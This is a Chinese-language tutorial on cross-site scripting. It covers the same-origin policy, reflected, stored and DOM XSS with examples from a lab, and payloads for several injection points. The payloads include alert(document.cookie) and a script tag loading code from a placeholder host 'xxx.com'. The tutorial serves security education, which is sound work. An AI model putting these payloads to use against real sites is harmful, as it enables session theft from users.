跨站脚本攻击
第一条【目的声明】
本教程所有技术案例、演示及内容(以下简称"内容")仅限于《中华人民共和国网络安全法》《中华人民共和国刑法》等法律法规许可范围内,用于网络安全技术研究、防御体系构建及教育学习之合法用途,禁止任何单位或个人用于非法侵入计算机系统、破坏网络秩序等违法犯罪活动。
第二条【禁止行为】
用户须严格遵守以下规定:
1.严禁将本教程内容用于实施或协助实施包括但不限于:非法获取数据、传播恶意程序、网络诈骗、侵犯公民个人信息等违法行为;
2.严禁对非自有系统进行未经授权的测试、扫描或渗透;
3.严禁向不具备完全民事行为能力人传播涉及网络安全实操的技术细节。
第三条【责任豁免】
1.教程作者已尽合理注意义务对敏感内容进行脱敏处理,使用者如违反本协议造成的一切直接或间接损失(包括但不限于民事赔偿、行政处罚、刑事责任),均由行为人自行承担;
2.因使用者行为导致第三方主张权利的,教程作者不承担任何连带责任;
3.使用者继续阅读即视为已知悉并接受本声明全部条款。
第四条【知识产权】
本教程所含技术方法、代码示例等知识产权的使用,不得违反《中华人民共和国著作权法》《计算机软件保护条例》等相关规定。
第五条【法律适用】
本声明之效力、解释、变更及争议解决均适用中华人民共和国大陆地区法律,任何争议应提交教程作者所在地有管辖权的人民法院诉讼解决
一、 基本概念
1.源
当我们要访问一个Web服务的时候,我们需要给定两个信息,源和对应的服务api,比如访问我的掘金主页时,在浏览器中的输入是:juejin.cn:443/user/226978…
-
https://,http://等被称为协议; -
juejin.cn被称为主机; -
443被称为端口。- 由于https服务的默认端口为443,所以一般被省略;如果某个服务器的https服务端口不是443,则不能省略;
- http服务的默认端口为80。
-
源=协议+主机+端口。
2.同源策略
同源
- 两个
url的协议、主机、端口完全相同;
不同源
- 两个
url的协议、主机、端口任意一个不相同。
比如juejin.cn:443/user/226978… 和 juejin.cn:443/user/22 就是两个同源的url,因为这两个属于源相同、api不同,仍为同源url。
声明:截止本文写作时,后面这个
url指向404 NOT FOUND,如果您的网站是这个网址,请联系我更换示例。
同源策略(SOP,Same Origin Policy) :
- 用于判断来自一个源的文档或它所加载的代码(通常是
Javascript代码)是否有权限访问或获取另一个源的资源。 - 能有效地阻止来自恶意网站的恶意代码、恶意文档对浏览器用户造成的不利影响,比如阻止攻击者获取用户存在浏览器中的敏感网站(比如银行)的登录信息(账号密码,cookie等)。
- 举个例子帮助大家理解。
跨站脚本攻击XSS(Cross Site Scripting)
- 为了不和层叠样式表(Cascading Style Sheets,css)的缩写混淆,故将跨站脚本攻击缩写为XSS;
- 攻击方式:恶意攻击者往Web页面里插入恶意
Javascript代码,当用户浏览该页面时,嵌入Web里面的Javascript代码会被执行,从而达到恶意攻击用户的目的。
- 还是举一个跨站脚本攻击的例子帮助大家感受。
-
XSS原理- 服务器对用户提交的数据过滤不严,导致览器把用户的输入当成了
JS代码并直接返回给客户端执行,从而实现对客户端的攻击目的。 - 有XSS的关键:有将用户输入插入页面的代码。
- 服务器对用户提交的数据过滤不严,导致览器把用户的输入当成了
二、跨站脚本攻击分类
下面的类型给出的示例我是在学校的靶场环境中进行的,大家如果想要实验的话,建议去专门的靶场环境实验,不要干扰正常网站的运行,不然会承担刑事责任的哦。
1.反射型(Reflect XSS)
- 反射型XSS,又称非持久型XSS,攻击相对于受害者而言是一次性的,具体表现在受害者点击了含有的恶意
JavaScript脚本的url,恶意代码并没有保存在目标网站,而Web应用程序只是不加处理的把该恶意脚本“反射”回受害者的浏览器,而使受害者的浏览器执行相应的脚本。
-
反射型XSS特性
- 非持久性:需要欺骗用户点击链接、恶意代码不存在服务器中;
- 一般容易出现在搜索页面;
- 大多数是用来盗取用户的Cookie信息。
-
反射型XSS流程
-
示例
- 在靶场环境中,在搜索框中随便搜索一个东西,可以看到
url中携带了我们搜索的参数; - 直接修改
url中的参数,发现能修改输入框中的值! - 将参数修改为
"><script>alert()</script>的url编码形式,这时候你就完成了一次注入了。因为注意到我们参数的前两个字符为"和>,这就与原来的网页代码组成了一个闭环,网站就会继续执行alert()函数的操作了。我们来看一下代码!
- 在靶场环境中,在搜索框中随便搜索一个东西,可以看到
2.存储型(Stored XSS)
- 存储型XSS是指应用程序通过Web请求获取不可信赖的数据,在未检验数据是否存在XSS代码的情况下,便将其存入数据库。当下一次从数据库中获取该数据时程序也未对其进行过滤,页面执行XSS代码持续攻击用户。
-
存储型XSS特性
- 持久化:代码是存储在服务器中的、不需要诱骗用户访问特定
url;
- 大多出现在留言板、评论区;
- 容易造成蠕虫,盗窃cookie。
- 持久化:代码是存储在服务器中的、不需要诱骗用户访问特定
-
存储型XSS流程
-
示例
- 可以看到,在用户访问个人面板时,会显示所有帖子,访问留言界面,将内容改为
<img onerror=alert() src=x/>,点击提交,会发现在界面中我们的代码成功运行了。
- 可以看到,在用户访问个人面板时,会显示所有帖子,访问留言界面,将内容改为
3.Dom型(Dom based XSS)
- DOM-XSS简单理解就是不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题。这样的漏洞较难利用,因为攻击者需要诱骗用户在页面上输入一些奇怪的东西。
- 比如在存储型XSS的示例中,如果把那一串代码放到搜索框里面输入,就是DOM型XSS了。
三、跨站脚本攻击的方法
攻击载荷就是要构造的攻击代码,攻击点位就是在哪个地方插入攻击载荷。
1.攻击载荷
-
<script>标签:<script>标签是最直接的XSS有效载荷,脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中;<script>alert("hack")</script> <!--弹出hack--> <script>alert(1)</script> <!--对数字不用加引号--> <script>alert(document.cookie)</script> <!--弹出cookie--> <script src=http://xxx.com/xss.js></script> <!--引用外部xss--> -
svg标签; -
<img>标签; -
<body>标签;
2.攻击点位([ ]中的内容为攻击载荷)
-
用户输入作为script标签内容;(几乎没有)
-
用户输入作为HTML注释内容;
<!-- 用户输入 --> <!--[--><script>alert("hack")</script><!--]--> -
用户输入作为HTML标签的属性名;
<diV 用户输入="xx"> </diV> <div[></div><script>alert('hack')</script><div a]="xx"></div> -
用户输入作为HTML标签的属性值;
<diV id="用户输入"></diV> <div id="["></div><script>alert('hack')</script><div a="x]"></div> -
用户输入作为HTML标签的名字;
<用户输入 id="xx" /> <[><script>alert('hack')</script><b] id="xx" /> -
直接插入到CSS里;
<style>用户输入</style> <style>[</style><script>alert('hack')</script><style>]</style>